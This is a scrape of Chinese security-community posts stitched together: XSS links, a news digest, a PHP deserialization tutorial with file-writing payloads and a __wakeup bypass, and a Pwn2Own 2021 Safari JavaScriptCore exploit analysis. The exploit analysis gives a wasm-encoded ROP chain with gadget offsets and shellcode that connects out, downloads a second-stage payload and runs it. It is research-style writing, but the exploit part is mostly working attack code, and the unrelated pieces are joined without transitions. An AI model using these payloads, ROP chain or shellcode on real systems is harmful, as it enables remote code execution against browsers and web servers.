> 参考：
>
> <https://xz.aliyun.com/t/4067#toc-27>
>
> <https://xz.aliyun.com/t/96#toc-7>
>
> <https://www.hackersb.cn/hacker/85.html>
>
> <https://0verwatch.top/xss-encodeorder.html>
>
> <http://bobao.360.cn/learning/detail/292.html>
>
> <https://saucer-man.com/information_security/103.html>
>
> <https://blog.csdn.net/fly_hps/article/details/82944455>
>
> [https://wooyun.js.org/drops/Bypass
> xss过滤的测试方法](https://wooyun.js.org/drops/Bypass%20xss%E8%BF%87%E6%BB%A4%E7%9A%84%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95.html)
>
>
> [https://www.0x002.com/2019/前端Hack之XSS攻击个人学习笔记/](https://www.0x002.com/2019/%E5%89%8D%E7%AB%AFHack%E4%B9%8BXSS%E6%94%BB%E5%87%BB%E4%B8%AA%E4%BA%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/)
>
>
> [http://next.uuzdaisuki.com/2018/04/24/XSS绕过和利用方式总结/](http://next.uuzdaisuki.com/2018/04/24/XSS%E7%BB%95%E8%BF%87%E5%92%8C%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/) | 社区文章 |
# 6月3日安全热点 - EOS向360发布3万美金致谢
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞Vulnerability
360安全监测与响应中心发现施耐德旗下产品存在两个严重的远程代码执行漏洞
<http://t.cn/R1jRp5C>
## 安全工具Security Tools
RAMMap v1.51发布，兼容最新win10
<http://t.cn/R1jRpqq>
## 安全资讯Security Information
EOS向360发布3万美金致谢
<http://t.cn/R1Wp7w4>
谷歌配置错误导致众多组织数据泄露
<http://t.cn/R1WVLZO>
AsiaSecWest即将开幕 完整大会议程首次曝光
<http://t.cn/R1jRpIc>
## 安全研究Security Research
一个简单的逻辑bug的故事
<http://t.cn/R1pFDpO>
CVE-2018-8120在Windows 7 x64环境下的漏洞利用分析
<http://t.cn/R1pZKGf>
## 恶意软件Malware
Hadoop Yarn REST API未授权漏洞利用挖矿分析
<http://t.cn/R1jjFOr>
[No data中国进出口企业遭遇大规模“商贸信”攻击 企业机密被窃取
<http://t.cn/R1jRpxf> | 社区文章 |
地址：http://www.cnbraid.com/2016/unserialize.html
## 0x01 背景
PHP存在着一个很有意思的漏洞，PHP对象注入，专业术语为反序列化漏洞。本篇文章将对php反序列化漏洞和CVE-2016-7124进行详细讲解。
## 0x02 序列化与反序列化概念
我们先要来了解一下什么是序列化和反序列化，所有php里面的值，我们都可以使用函数serialize()来返回一个包含字节流的字符串来表示。见下图：
**序列化一个对象将会保存对象的所有变量，但是不会保存对象的方法，只会保存类的名字。所以对象A和对象B序列化后并没有什么区别。**
unserialize()函数能够重新把字符串变回php原来的值。
## 0x03 反序列化漏洞
### 漏洞分析
漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法，而且魔术方法中的代码有能够被我们控制，漏洞就这样产生了，根据不同的代码可以导致各种攻击，如代码注入、SQL注入、目录遍历等等。
漏洞代码如下：
<html>
<head>
<title>PHP反序列化</title>
</head>
<body>
<?php
class A{
var $a = "test";
function __destruct(){
$fp = fopen("D:\\phpStudy\\WWW\\hello.php","w");
fputs($fp,$this->a);
fclose($fp);
}
}
$test = $_POST['test'];
$test_unser = unserialize($test);
?>
</body>
</html>
这里使用了php的magic方法 **destruct（详情参考PHP: Magic Methods），而**
destruct是当一个对象被销毁时被自动调用的析构方法。
然后unserialize中参数可控，这样我们就可以构造一个序列化的对象A来控制其中的变量a的值，最终会产生漏洞。
### 漏洞证明
我们构造一个序列化的对象A并给其中变量a赋值为<?php phpinfo();?>如下：
可以看到成功将<?php phpinfo();?>写入hello.php。
### 实例分析
这里引用phithon师傅的文章：[wecenter反序列化造成任意SQL语句执行](https://www.leavesongs.com/PENETRATION/wecenter-unserialize-arbitrary-sql-execute.html)
详情p牛已经分析过了，这里再次提下触发的几个点
1.首先是/system/aws_model.inc.php文件下
class AWS_MODEL
{
...
/**
* Model 类析构, 执行延迟查询
{
*/
public function __destruct()
{
$this->master();
foreach ($this->_shutdown_query AS $key => $query)
{
$this->query($query);
}
}
}
可以看到这里直接遍历了_shutdown_query对象，将其值传入query直接执行。
明显存在一个任意SQL语句执行漏洞，只要我生成一个AWS_MODEL类对象，再其销毁的时候就能执行任意SQL语句。
2.然后我们找到/app/m/weixin.php中使用了unserialize函数如下：
public function authorization_action()
{
$this->model('account')->logout();
unset(AWS_APP::session()->WXConnect);
if (get_setting('weixin_account_role') != 'service')
{
H::redirect_msg(AWS_APP::lang()->_t('此功能只适用于通过微信认证的服务号'));
}
else if ($_GET['code'] OR $_GET['state'] == 'OAUTH')
{
if ($_GET['state'] == 'OAUTH')
{
$access_token = unserialize(base64_decode($_GET['access_token']));
}
上面这句话将$_GET[‘access_token’]解码以后进行反序列化，所以可以构造特定的序列化对象AWS_MODEL来执行任意SQL语句了。
## 0x04 CVE-2016-7124
### 漏洞分析
[CVE-2016-7124](https://bugs.php.net/bug.php?id=72663)，简单来说就是
**当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行** ，Demo如下：
<html>
<head>
<title>PHP反序列化</title>
</head>
<body>
<?php
class A{
var $a = "test";
function __destruct(){
$fp = fopen("D:\\phpStudy\\WWW\\hello.php","w");
fputs($fp,$this->a);
fclose($fp);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up...\n";
}
}
$test = $_POST['test'];
$test_unser = unserialize($test);
?>
</body>
</html>
我们再次使用之前的payload测试，结果如下：
发现__wakeup函数成功执行，清除了对象属性，从而hello.php内容也为空了。
### 漏洞证明
我们将上面test=O:1:”A”:1:{s:1:”a”;s:18:”<?php phpinfo();?>”;}中A的个数变成2或者大于2的数字如下：
> test=O:1:”A”:2:{s:1:”a”;s:18:”<?php phpinfo();?>”;}
然后再次执行发现绕过了__wakeup函数，成功将phpinfo()写入hello.php
参考来源：
<http://bobao.360.cn/learning/detail/3091.html>
<https://bugs.php.net/bug.php?id=72663>
[wecenter反序列化造成任意SQL语句执行](https://www.leavesongs.com/PENETRATION/wecenter-unserialize-arbitrary-sql-execute.html)
延伸阅读：
[SugarCRM v6.5.23 PHP反序列化 对象注入漏洞](https://www.seebug.org/vuldb/ssvid-92404) | 社区文章 |
**作者：ghost461@知道创宇404实验室
时间：2021年12月31日**
## 概述
* 该漏洞是Pwn2own 2021 safari项目中, ret2systems所使用的JavaScriptCore整数溢出漏洞, 该漏洞已在safari 14.1.1中被[修复](https://github.com/WebKit/WebKit/commit/13a6adc918a62eb5a3c97f40f12be1b8e3e572ae)
* [ret2systems的博客](https://blog.ret2.io/2021/06/02/pwn2own-2021-jsc-exploit/)进行了详细的漏洞原理的介绍, 并放出了第一阶段使用的[POC](https://github.com/ret2/Pwn2Own-2021-Safari/tree/main/rce), 本文将结合POC对该漏洞进行原理分析
## 关于POC
* `gen_wasm.py`: 用于生成WebAssembly模块到rets.wasm文件
* `shellcode`: 完成溢出漏洞后使用的第一阶段的shellcode, 默认会向localhost:1337请求并加载第二阶段(沙盒逃逸)shellcode, 以完成任意代码执行. (但第二阶段shellcode并未放出)
* `stage2_server.py`: 用于监听本地1337端口, 以发送第二阶段shellcode
* `pwn.html`: 浏览器漏洞利用入口, 调起pwn.js
* `pwn.js`: 调起两个worker线程, 获取wasm数据并发放给worker线程
* `worker.js`: worker线程, 用于加载wasm以触发漏洞
* `worker2.js`: worker线程, 作为受害者线程承载ROP链以及shellcode
* [*]`rets.wasm`: 由`gen_wasm.py`脚本生成的wasm二进制文件, 也就是实际触发漏洞时解析的目标WebAssembly程序
* [*]`rets.wat`: rets.wasm经过一些修改后, 由[wabt](https://github.com/WebAssembly/wabt)反编译为wat文本, 辅助理解POC生成的wasm程序的结构
* [*]`jsc_offsets`: 是生成wasm前的一些基础信息, 如: 泄露地址到dylib基地址的偏移, ROP链中gadget的偏移地址, 关键调用的地址
* [*]`stage2_shellcode.bin`: 第二阶段shellcode, 由于没有可用的沙盒逃逸利用, 这里的stage2_shellcode只是做了int3断点以及一些无用数据
* 带`*` 文件是拿到POC作者未提供的, 需要使用脚本生成, 或是自己按需补充
* * *
* 以下命令生成rets.wasm与jsc_offsets文件
rce % python3 gen_wasm.py -offs prod
leak_off, hndl_raw_mem_off, gadg, syms = 15337245, 40, {'ret': 15347, 'rdi': 4627172, 'rsi': 624110, 'rdx': 3993325, 'rcx': 917851, 'jmp_rax': 76691}, {'__ZN3JSC19ExecutableAllocator8allocateEmNS_20JITCompilationEffortE': 10101216, '_memcpy': 16987498, '_dlsym': 16987090}
module of len 0x10009316 written
## 漏洞原理分析
### 一句话描述
WebKit的JavaScriptCore在加载解析WebAssembly模块时, 栈大小计数器m_maxStackSize存在整数溢出问题, 进而导致WebAssembly函数序言(wasmPrologue)阶段的栈帧分配异常, 最终导致沙盒内的代码执行
* 正常程序流程: `Wasm模块 -> parse阶段 -> 函数序言(prologue)阶段 -> 运行函数体`
* 漏洞利用流程:
Wasm模块 -> parse阶段(m_maxStackSize = 0xffffffff) -> 函数序言阶段(m_numCalleeLocals = 0; 不分配栈空间) -> 运行函数体, 入栈操作覆盖内存 -> 地址泄露 -> ROP链 -> shellcode
### JavaScriptCore背景
* JSC是WebKit的JavaScript引擎, 在JSC执行任何JavaScript代码之前, 它必须为其完成词法解析以及生成字节码, JSC有4个执行层:
* Low Level Interpreter(LLInt): 启动解释器
* Baseline JIT: 模版JIT
* DFG JIT: 低延迟优化编译器
* FTL JIT: 高吞吐量优化编译器
* 程序段首先执行在最低级的字节码解释器中, 随着代码执行的增多, 就会被OSR(On-Stack-Replace)提升到更高的层级
* [WebKit中的WebAssembly](https://webkit.org/blog/7691/webassembly/)程序同样是由JSC负责解析执行的, wasm的运行层级略有不同: `LLInt -> BBQ -> OMG`
* 关于[WebAssembly的文本格式](https://developer.mozilla.org/en-US/docs/WebAssembly/Understanding_the_text_format), 可以看看
* 由于该漏洞发生在wasm模块的解析与字节码生成的阶段, 所以我们这里只关注LLInt
#### LLint
* 对于JavaScript, 负责执行由Parser生成的字节码
* 对于WebAssembly, JSC要负责解析验证, 生成字节码以及实际运行
* JSC由名为offlineasm的可移植汇编语言编写, 源码位于WebKit项目中的`JavaScript/llint/LowLevelInterpreter.asm`文件
* 为了处理一些操作, LLInt需要在执行指令时调用一些C函数进行扩展处理, 这些会被调用到的C函数被称为`slow_path`, 在asm文件中可以看到这些函数 (这一点我们将在后面地址泄漏时提到)
### 漏洞相关代码
* 使用WebKit对应release版本源代码: [Safari 14.0.3, macOS BigSur 11.2.3](https://github.com/WebKit/WebKit/releases/tag/releases%2FApple%2FSafari-14.0.3-macOS-11.2.3)
#### FunctionParser 与 LLIntGenerator
* 关于解析器如何使用controlStack与expressionStack来跟踪wasm模块所需的栈大小, [ret2systems博客](https://blog.ret2.io/2021/06/02/pwn2own-2021-jsc-exploit/#parsing-and-codegen)已经十分详细的描述了这一过程, 本文这里就只挑关键的点用代码来描述
* `解析器(WasmFunctionParser)`将负责验证函数的有效性, 这将涉及所有堆栈操作以及控制流分支的类型检查(使用`m_controlStack` 与 `m_expressionStack`)
// JavaScriptCore/wasm/WasmFunctionParser.h
Stack m_expressionStack;
ControlStack m_controlStack
* Wasm函数具有非常结构化的块形式的控制流, 可以是通用块、循环或是if条件(这些在解析器中都可以被认为是块), 其中TopLevel是controlStack初始化的第一个元素, 即wasm解析时的第一层
// JavaScriptCore/wasm/WasmFunctionParser.h
enum class BlockType {
If,
Block,
Loop,
TopLevel
};
* 从解析器的角度来看, 每个块都有自己的表达式栈, 与`封闭块的表达式栈(enclosedExpressionStack)`分开
* 根据[多值范式](https://github.com/WebAssembly/multi-value/blob/master/proposals/multi-value/Overview.md), 每个块都可以具有参数类型与返回类型的签名(signature, 可以理解为参数与返回值声明)
* 解析器进入新的块时, 参数从当前表达式栈中弹出, 并用作新的块表达式栈的初始值, 旧的表达式栈作为封闭栈(enclosedExpressionStack)进入控制栈; 块解析结束时, 返回值被push到封闭栈上
* `生成器(WasmLLIntGenerator)`跟踪各种元数据, 包括当前整体堆栈大小(`m_stackSize`)以及整个解析过程中栈容量的最大值(`m_maxStackSize`), 当前堆栈大小有助于将抽象堆栈位置转换为本地堆栈的偏移量, 而最大堆栈值则将决定函数序言期间将分配的栈空间大小
// JavaScript/wasm/WasmLLIntGenerator.cpp
unsigned m_stackSize { 0 };
unsigned m_maxStackSize { 0 };
* `m_stackSize`: 当前表达式栈(m_expressionStack)的长度, 根据参数传递约定, 在x86_64系统上, 默认分配2个非易失性寄存器(Callee-Saved Register)、6个通用寄存器(General Purpose Register)和8个浮点数寄存器(Floating Point Register)用于函数调用, 所以无论函数是否接收这么多参数, m_stackSize都从`16`开始
* `JSC::Wasm::numberOfLLIntCalleeSaveRegisters`: 根据调用约定保留的2个Callee-Save Register `cpp // JavaScriptCore/wasm/WasmCallingConvention.h constexpr unsigned numberOfLLIntCalleeSaveRedisters = 2;`
* `JSC::GPRInfo::numberOfArgumentRegisters`: 通用寄存器计数, x86_64下默认为6个
// JavaScript/jit/GPRInfo.h
#if CPU(X86_64)
#if !OS(WINDOWS)
#define NUMBER_OF_ARGUMENT_REGISTERS 6u
......
class GPRInfo {
public:
typedef GPRReg RegisterType;
static constexpr unsigned numberOfRegisters = 11;
static constexpr unsigned numberOfArgumentRegisters = NUMBER_OF_ARGUMENT_REGISTERS
......
* `JSC::FPRInfo::numberOfArgumentRegisters`:浮点数寄存器计数, x86_64下默认为8个
// JavaScriptCore/jit/FPRInfo.h
class FPRInfo {
public:
typedef FPRReg RegisterType;
static constexpr unsigned numberOfRegisters = 6;
static constexpr unsigned numberOfArgumentRegisters = is64Bit() ? 8 : 0;
......
* `m_maxStackSize`: 在wasm解析阶段, 跟踪函数内所需的最大栈长度, 通常在push操作时更新
// JavaScriptCore/wasm/WasmLLIntGenerator.cpp
enum NoConsistencyCheckTag { NoConsistencyCheck };
ExpressionType push(NoConsistencyCheckTag)
{
m_maxStackSize = std::max(m_maxStackSize, ++m_stackSize);
return virtualRegisterForLocal(m_stackSize - 1);
}
// JavaScriptCore/wasm/WasmLLIntGenerator.cpp
std::unique_ptr<FunctionCodeBlock> LLIntGenerator::finalize()
{
RELEASE_ASSERT(m_codeBlock);
m_codeBlock->m_numCalleeLocals = WTF::roundUpToMultipleOf(stackAlignmentRegisters(), m_maxStackSize);
auto& threadSpecific = threadSpecificBuffer();
Buffer usedBuffer;
m_codeBlock->setInstructions(m_writer.finalize(usedBuffer));
size_t oldCapacity = usedBuffer.capacity();
usedBuffer.resize(0);
RELEASE_ASSERT(usedBuffer.capacity() == oldCapacity);
*threadSpecific = WTFMove(usedBuffer);
return WTFMove(m_codeBlock);
}
* `m_numCalleeLocals`: 在解析完成后, 该值在m_maxStackSize的基础上`向上舍入`以对其堆栈(16字节对齐, 或是x86_64上的2个寄存器长度), 但m_numCalleLocals被声明为`int`类型
// WTF/wtf/StdLibExtras.h
ALWAYS_INLINE constexpr size_t roundUpToMultipleOfImpl(size_t divisor, size_t x)
{
size_t remainderMask = divisor - 1;
return (x + remainderMask) & ~remainderMask; // divisor = 2; x = 0xffffffff; return 0x100000000;
}
// Efficient implementation that takes advantage of powers of two.
inline size_t roundUpToMultipleOf(size_t divisor, size_t x)
{
ASSERT(divisor && !(divisor & (divisor - 1)));
return roundUpToMultipleOfImpl(divisor, x);
}
// JavaScriptCore/wasm/WasmFunctionCodeBlock.h
class FunctionCodeBlock{
......
private:
using OutOfLineJumpTargets = HashMap<InstructionStream::Offset, int>;
uint32_t m_functionIndex;
int m_numVars { 0 };
int m_numCalleeLocals { 0 }; // 0x100000000 ==> m_numCalleLocals = 0x00000000;
uint32_t m_numArguments { 0 };
Vector<Type> m_constantTypes;
......
* 最终, 实际调用wasm函数, 在LLInt的wasmPrologue阶段, m_numCalleeLocals被用于决定实际分配的栈帧大小(并会被检查是否超出最大栈帧长度, 决定是否抛出堆栈异常)
macro wasmPrologue(codeBlockGetter, codeBlockSetter, loadWasmInstance)
......
# Get new sp in ws1 and check stack height.
loadi Wasm::FunctionCodeBlock::m_numCalleeLocals[ws0], ws1 # <---- m_numCalleeLocals
lshiftp 3, ws1
addp maxFrameExtentForSlowPathCall, ws1
subp cfr, ws1, ws1
bpa ws1, cfr, .stackOverflow
bpbeq Wasm::Instance::m_cachedStackLimit[wasmInstance], ws1, .stackHeightOK
.stackOverflow:
throwException(StackOverflow)
.stackHeightOK:
move ws1, sp
......
## 漏洞利用
### 触发漏洞
* 要触发整数溢出问题, 我们需要构造出能使解析器执行`2^32次push操作`的wasm函数, POC最终选择使用之前提到的多值范式, 以及解析器对unreachable代码的处理相结合的方法
* 之前提到多值范式没有说的一点是, 它允许块拥有任意数量的返回值, 在JavaScriptCore的实现中也没有强制规定该数量的上限, 这允许我们构造具有大量返回值的块
* 解析器会执行一些非常基本的分析来确定代码是否为无法访问或是死代码, 当解析时遇到使用`unreachable`显式声明, 或是无条件分支跳转指令后后无任何调用的代码段(`dead code`), 生成器会直接将声明的返回类型push到封闭栈中
auto LLIntGenerator::addEndToUnreachable(ControlEntry& entry, const Stack& expressionStack, bool unreachable) -> PartialResult
{
......
for (unsigned i = 0; i < data.m_signature->returnCount(); ++i) {
......
if (unreachable)
entry.enclosedExpressionStack.constructAndAppend(data.m_signature->returnType(i), tmp); // push returnType -> enclosedExpressionStack
else
entry.enclosedExpressionStack.append(expressionStack[i]);
}
......
return { };
}
* 通过以上的说明, 似乎可以直接构造出2^32个返回值的块, 但实际有一个问题阻碍我们实现这一点, 表达式栈是由一个WTF::Vector实现的, 它有一个4字节大小的变量(unsigned m_capacity)并设置了检查以确保分配的内存大小长度不会大于32bit; 装入Vector的元素是TypedExpression对象, 其大小为8, 所以单个表达式栈的上限为2^32 / 8 = 2^29 = 0x20000000, 实际上分配的可能会更少, 所以我们不能在单个块中声明如此多的返回值
// WTF/wtf/Vector.h
bool allocateBuffer(size_t newCapacity)
{
static_assert(action == FailureAction::Crash || action == FailureAction::Report);
ASSERT(newCapacity);
if (newCapacity > std::numeric_limits<unsigned>::max() / sizeof(T)) { // check
if constexpr (action == FailureAction::Crash)
CRASH();
......
size_t sizeToAllocate = newCapacity * sizeof(T);
......
m_capacity = sizeToAllocate / sizeof(T); // max 2^32
m_buffer = newBuffer;
return true;
}
* 为了解决这个问题, 我们可以把2^32个返回值分给16个块, 使这些块相互嵌套, 每个块都具有0x10000000个返回值, 每个块都有自己的表达式栈, 最终设置m_maxStackSize为0xffffffff, 一旦解析结束就会完成溢出
(module
(type (;0;) (func))
(type (;1;) (func (result f64 f64 ... ))) ;; a lot of f64 (f64 * 0x10000000)
(type (;2;) (func (param i64 i64)))
(import "e" "mem" (memory (;0;) 1))
(func (;0;) (type 2) (param i64 i64)
;; "real" code we want to execute can be placed here
i32.const 1 ;; use 'br_if', or the following code would be 'dead_code'
br_if 0 (;@0;) ;;
block ;; label = @1 ;; begin to fill 32GB
block (result f64 f64 ... ) ;; label = @2 ;; push m_maxStackSize to 0xffffffff
unreachable ;; then m_numCalleeLocals = 0x0
end ;; when parsing completes.
;; current stack has 0x10000000 values, m_maxStackSize = 0x10000000
block ;; label = @2
;; new block has an empty expression stack
block (result f64 f64 ... ) ;; label = @3
unreachable
end
;; current stack has 0x10000000 values, m_maxStackSize = 0x20000000
block ;; label = @3
block (result f64 f64 ... ) ;; label = @4
unreachable
end
......
br 0 (;@3;)
end
br 0 (;@2;)
end
br 0 (;@1;)
end
return)
(func (;1;) (type 0)
i64.const 0
i64.const 0
call 0)
(export "rets" (func 1)))
* 这样构造出的每个块大约占用2GB内存, 16个块加起来将消耗32GB, 看起来很夸张, 在macOS内存压缩与SSD提供的swap配合下, 还是能够实现(pwn2own现场跑了3分半), 我给macOS虚拟机设置了8GB内存也能实现(就是有点吃硬盘)
### 地址泄漏
* 成功触发漏洞, 将m_numCalleeLocals设置为0后, 接下来开始漏洞利用的过程, 此时我们调用wasm中的函数, LLInt将不会对降低栈帧, 导致以下的堆栈布局
| ... |
| loc1 |
| loc0 |
| callee-saved 1 |
| callee-saved 0 |
rsp, rbp -> | previous rbp |
| return address |
* 正如前面提到的, 此时栈上2个callee-saved以及14个loc[0~13], 是根据函数调用约定可预测的一段栈空间. 因此, 为了能够在wasm函数中访问loc0与loc1, 我们需要让函数声明接收两个`i64`参数
(type (;2;) (func (param i64 i64)))
(func (;0;) (type 2) (param i64 i64)
* 为了达成地址泄漏的目的, 需要触发LLInt的slow_path来进行处理, 因为在slow_path函数运行期间发生的任何push操作, 都会覆盖我们栈上的callee-saved与局部变量; 而当slow_path函数返回后, 我们由可以操作wasm的本地变量读取刚才的地址
* 一个名为`slow_path_wasm_out_of_line_jump_target`的slow_path函数, 适用于wasm模块中偏移量太大而无法直接以字节码格式编码的跳转分支, 在此, 至少为0x80的偏移量就可以
block
;; branch out of block
;; an unconditional `br 0` will not work as the filler would be dead code
i32.const 1
br_if 0
i32.const 0 ;; filler code here...
i32.popcnt ;; such that the offset from the above branch
drop ;; to the end of the block is >= 0x80
......
end
* 至此即可触发LLInt对slow_path_wasm_out_of_line_jump_target, 执行时效果如下:
* 现在loc0中有一个返回地址, 该地址指向`JavaScriptCore dylib`中的一个固定偏移, 我们可以事先计算该偏移量, 以在程序运行时得到该dylib在内存中的基地址; loc1中则包含一个`当前的栈地址`; 这两者的信息为我们提供了远程代码执行所需的信息泄漏
* 在获取了泄露的地址之后, 还不能立即开始ROP链的实施, 有一些关于内存布局的小问题
* 当前我们所要执行的wasm函数没有被分配任何栈地址空间, 所以理论上在该函数内应该能够写入最大负偏移量(rbp-0x10000)以内的任意栈地址, 也就是说, 我们几乎可以覆盖当前堆栈下方的任意内存
* 者在主线程的上下文中并不是很有帮助, 因为主线程的栈下方没有任何可靠的映射. 然而, 线程的堆栈是从专用虚拟内存区域以递增的地址连续分配的
STACK GUARD 70000b255000-70000b256000 [ 4K ] ---/rwx stack guard for thread 1
Stack 70000b256000-70000b2d8000 [ 520K ] rw-/rwx thread 1
STACK GUARD 70000b2d8000-70000b2d9000 [ 4K ] ---/rwx stack guard for thread 2
Stack 70000b2d9000-70000b35b000 [ 520K ] rw-/rwx thread 2
* 如果我们的wasm函数在线程2中执行, 线程1的堆栈将会是损坏目标, 唯一的问题就是保护页, 然而, LLInt以原始的优化形式为我们提供了便利
* 当push一个常量值时, 生成器实际上并没有发出'将常量写入栈'的指令, 相反, 它将常量添加到'常量池‘当中, 之后对该常量的读取也不是从栈空间而是从常量池. 注意, 此时wasm模块已经进入运行阶段, 不要与解析阶段的栈操作相混淆
i32 .const 1
i32 .const 2
i32 .const 3
i32 .add
* 例如上面这个代码段, 实际上只有add操作时向栈push了5, 其余const并没有写入栈的操作. 利用这样的特性, 我们可以通过大量push未使用的常量值, 跳过保护页
* 综合一下, 在实际执行ROP链之前, 我们使用loc0减去事先计算好的偏移量, 获得JavaScriptCore dylib基地址; 使用loc1减去用于跳过保护页的常量数量, 获得一个受害者线程的栈地址;
block ;; label = @1
local.get 0
i64.const 15337245 ;; subtract offset to JavaScriptCore dylib base
i64.sub
local.set 0
local.get 1
i64.const 144312 ;; offset to where the ropchain will be
i64.sub
local.set 1
i64.const 0 ;; push a ton of constants to hop over the guard page
i64.const 0
......
local.get 0
i64.const 15347 ;; ROP begin
i64.add ;; nop
drop
drop
;; write ROP chain to stack
end
* 一直到了这一步, 可以发现针对这个漏洞, 并不需要像目前主流的浏览器漏洞利用那样, 构造`addrof()`和`fakeobj()`来渐进式的获取漏洞利用, 而是一个很不错的老式ROP链即可
* 关于如何计算JavaScriptCore dylib基地址, 可以使用从shared_cache中获取的方式, 在对应版本的系统中使用以下python方法即可, 总体思路就是debug JavaScriptCore, 从调试器中获取目标方法的第一个call指令, 到基地址的偏移量即为我们需要的leak_off. (小坑: 如果脚本停在`lldb.recvuntil("\n\n")`里没有返回的话, 检查一下你的lldb dis指令结束时是否少一个换行符, 按实际需要修改脚本即可)
def get_jsc_offsets_from_shared_cache():
open("/tmp/t.c", "w").write('''
#include <dlfcn.h>
int main() {
dlopen("/System/Library/Frameworks/JavaScriptCore.framework/Versions/A/JavaScriptCore", RTLD_LAZY);
asm volatile("int3");
return 0;
}
''')
os.system("clang /tmp/t.c -o /tmp/t")
lldb = subprocess.Popen(["lldb","--no-lldbinit","/tmp/t"], bufsize=0, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
lldb.sendline = lambda s: lldb.stdin.write(s.encode('utf-8')+b'\n')
def m_recvuntil(s):
s = s.encode('utf-8')
buf = b""
while not buf.endswith(s):
buf += lldb.stdout.read(1)
return buf
lldb.recvuntil = m_recvuntil
try:
lldb.sendline("settings set target.x86-disassembly-flavor intel")
lldb.sendline("r")
lldb.recvuntil("stopped")
lldb.sendline("ima list -h JavaScriptCore")
lldb.recvuntil("0] ")
jsc_base = int(lldb.recvuntil("\n")[:-1], 16)
lldb.sendline("dis -n slow_path_wasm_out_of_line_jump_target")
lldb.recvuntil("JavaScriptCore`slow_path_wasm_out_of_line_jump_target:\n")
disas = lldb.recvuntil("\n\n").decode("utf-8")
disas = disas.split('\n')
disas = [disas[i] for i in range(1,len(disas)) if "call " in disas[i-1]][0]
leak_off = int(disas.split(' <')[0].strip(), 16)-jsc_base
......
### ROP链
* 利用本地变量在wasm中编写一个gadget大致如下
local.get 0 ;; JavaScriptCore dylib address
i64.const <offset to gadget>
i64.add ;; the addition will write the gadget to the stack
* 要在栈中写入常量可以使用loc1作为基地址, 使用按位或操作, 或是使用常量0来完成
* ROP链是为了调起并保证shellcode的执行, 由于macOS中SIP(系统完整性保护)机制的存在, 内存页面的RWX属性仅当存在一特定标志时生效, `MAP_JIT(0x800)`, 而该标志仅在mmap创建时授予.
* 线程堆栈并未被映射为MAP_JIT, 所以我们不能简单的使用`mprotect`将shellcode放在栈上并返回调用到它
* 为解决此问题, 我们将调用函数`ExecutableAllocator::allocate`, 以在现有的rwx JIT区域中保留一个地址, 然后使用`memcpy`将shellcode放在那里, 最终返回到它并执行
* 最终ROP链在wasm中的样子:
local.get 0
i64.const 4627172 ;; pop_rdi
i64.add
drop
drop
local.get 1
i64.const 80
i64.add
drop
drop
local.get 0
i64.const 3993325 ;; pop rdx
i64.add
drop
drop
i64.const 144 ;; len(shellcode)
i64.const 0
i64.or
drop
drop
local.get 0
i64.const 917851 ;; pop rcx
i64.add
drop
drop
i64.const 1
i64.const 0
i64.or
drop
drop
local.get 0
i64.const 10101216 ;; syms['__ZN3JSC19ExecutableAllocator8allocateEmNS_20JITCompilationEffortE']
i64.add
drop
drop
local.get 0
i64.const 4627172 ;; pop rdi
i64.add
drop
drop
local.get 1
i64.const 262144 ;; 0x40000
i64.sub
drop
drop
local.get 0
i64.const 624110 ;; pop rsi
i64.add
drop
drop
drop
local.get 0
i64.const 3993325 ;; pop rdx
i64.add
drop
drop
i64.const 48 ;; hndl_raw_mem_off+8
i64.const 0
i64.or
drop
drop
local.get 0
i64.const 16987498 ;; syms['_memcpy']
i64.add
drop
drop
local.get 0
i64.const 4627172 ;; pop rdi
i64.add
drop
drop
local.get 1
i64.const 176 ;; 22*8
i64.add
drop
drop
local.get 0
i64.const 624110 ;; pop rsi
i64.add
drop
drop
local.get 1
i64.const 262104 ;; 0x4000 - hndl_raw_mem_off
i64.sub
drop
drop
local.get 0
i64.const 3993325 ;; pop rdx
i64.add
drop
drop
i64.const 8
i64.const 0
i64.or
drop
drop
local.get 0
i64.const 16987498 ;; syms['_memcpy']
i64.add
drop
drop
local.get 0
i64.const 4627172 ;; pop rdi
i64.add
drop
drop
drop
local.get 0
i64.const 624110 ;; pop rsi
i64.add
drop
drop
local.get 1
i64.const 248 ;; 31*8
i64.add
drop
drop
local.get 0
i64.const 3993325 ;; pop rdx
i64.add
drop
drop
i64.const 144 ;; len(shellcode)
i64.const 0
i64.or
drop
drop
local.get 0
i64.const 16987498 ;; syms['_memcpy']
i64.add
drop
drop
local.get 0
i64.const 4627172 ;; pop rdi, pass dlsym to shellcode
i64.add
drop
drop
local.get 0
i64.const 16987090 ;; syms['_dlsym']
i64.add
drop
drop
local.get 0
i64.const 76691 ;; gadg['jmp_rax']
i64.add
drop ;; begin to write shellcode
i64.const 144115607791438153
i64.or
drop
......
### shellcode
sc = '''
## save dlsym pointer
mov r15, rdi
## socket(AF_INET, SOCK_STREAM, 0)
mov eax, 0x2000061
mov edi, 2
mov esi, 1
xor edx, edx
syscall
mov rbp, rax
## create addr struct
mov eax, dword ptr [rip+ipaddr]
mov r14, rax
shl rax, 32
or rax, 0x%x
push rax
mov eax, 0x2000062
mov rdi, rbp
mov rsi, rsp
mov dl, 0x10
syscall
## read sc size
mov eax, 0x2000003
mov dl, 8
syscall
## mmap rwx
xor edi, edi
pop rsi
mov dl, 7
mov r10d, 0x1802 # MAP_PRIVATE|MAP_ANONYMOUS|MAP_JIT
xor r8, r8
dec r8
xor r9, r9
mov eax, 0x20000c5
syscall
## read sc
mov rdi, rbp
mov rdx, rsi
mov rsi, rax
push rsi
read_hdr:
test rdx, rdx
jz read_done
mov eax, 0x2000003
## rdx gets trashed somehow in syscall???? no clue...
push rdx
syscall
pop rdx
sub rdx, rax
add rsi, rax
jmp read_hdr
read_done:
pop rsi
## jmp to sc, pass dlsym, socket, and server ip
## (need call not jmp to 16-byte align stack)
mov rdi, r15
xchg rsi, rbp
mov rdx, r14
call rbp
ipaddr:
'''%(2|(port<<16))
